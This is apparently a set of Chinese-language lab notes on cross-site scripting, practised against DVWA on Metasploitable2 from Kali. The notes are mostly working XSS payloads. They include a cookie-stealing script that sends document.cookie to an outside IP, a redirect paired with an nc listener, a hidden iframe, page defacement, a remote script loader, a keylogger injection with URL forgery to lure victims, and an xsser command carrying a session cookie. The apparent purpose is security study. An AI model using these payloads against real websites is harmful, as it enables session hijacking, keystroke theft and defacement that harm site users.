原理
hacker在服务器端插入恶意代码,在客户端向服务器发起请求后,将恶意代码返回给客户端
常见利用方法
- 盗取Cookie
- 重定向
使用场景
常见XSS漏洞类型
漏洞利用
- 爬网
- 变量注入:随意提交
- 当提交内容被原样返回:可能存在XSS
1、反射型
- 环境:metasploitable2(dvwa)、kali
- 步骤:
- 随意输入,结果返回相同:可能存在XSS
- 输入JS代码尝试:<a href=“http://www.baidu.com”>click
- 结果:
- 例:
- 常用注入语句:
<script>alert(‘xss’)</script> #弹出警告窗口
<a href='' onclick=alert('xss')>type</a> #点击后弹出警告窗口
<img src=http://1.1.1.1/a.ipg οnerrοr=alert('xss')> # 取图错误提示
<script>window.location=‘http://1.1.1.1'</script> #重定向,当将IP地址换成自己的主机后,使用sudo nc -vnlp 80侦听80端口,可以看到用户提交的数据;其他具有IP地址命令同理
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe> #插入框架
Cookie窃取
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script> #<font color=red>Cookie窃取</font>
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script> #页面篡改
<script src=http://1.1.1.1/a.js></script> #去其他位置取一个脚本,适用于注入大型脚本
在具有XSS漏洞的页面执行:<script src=http://192.168.181.128/a.js></script>
,该指令会链接到/var/www/html/a.js,从而执行a.js中的代码。
键盘敲击记录器
在具有XSS漏洞的页面执行:<script src="http://192.168.181.128/keylogger.js"></script>
结果:在输入界面敲击键盘,然后查看keylog.txt
最后进行URL伪造
keylogger.js
keylogger.php
URL伪造
上图是用户敲击记录的页面,但是URL很明显不对(内涵script代码),所以:
然后点击链接后,键盘敲击就会被记录
a.html
2、存储型
- 特点:永久存储
3、DOM型
<script>var img=document.createElement("img");img.src="http://
192.168.20.8:88/log?"+escape(document.cookie);</script>
xsser
- xsser -u “http://192.168.181.132/dvwa/vulnerabilities/” -g “xss_r/?name=” – 130 ⨯
cookie=“security=low; PHPSESSID=70ea7ab1a155cc3709dd75f7e6866b03” -S -v --reverse-check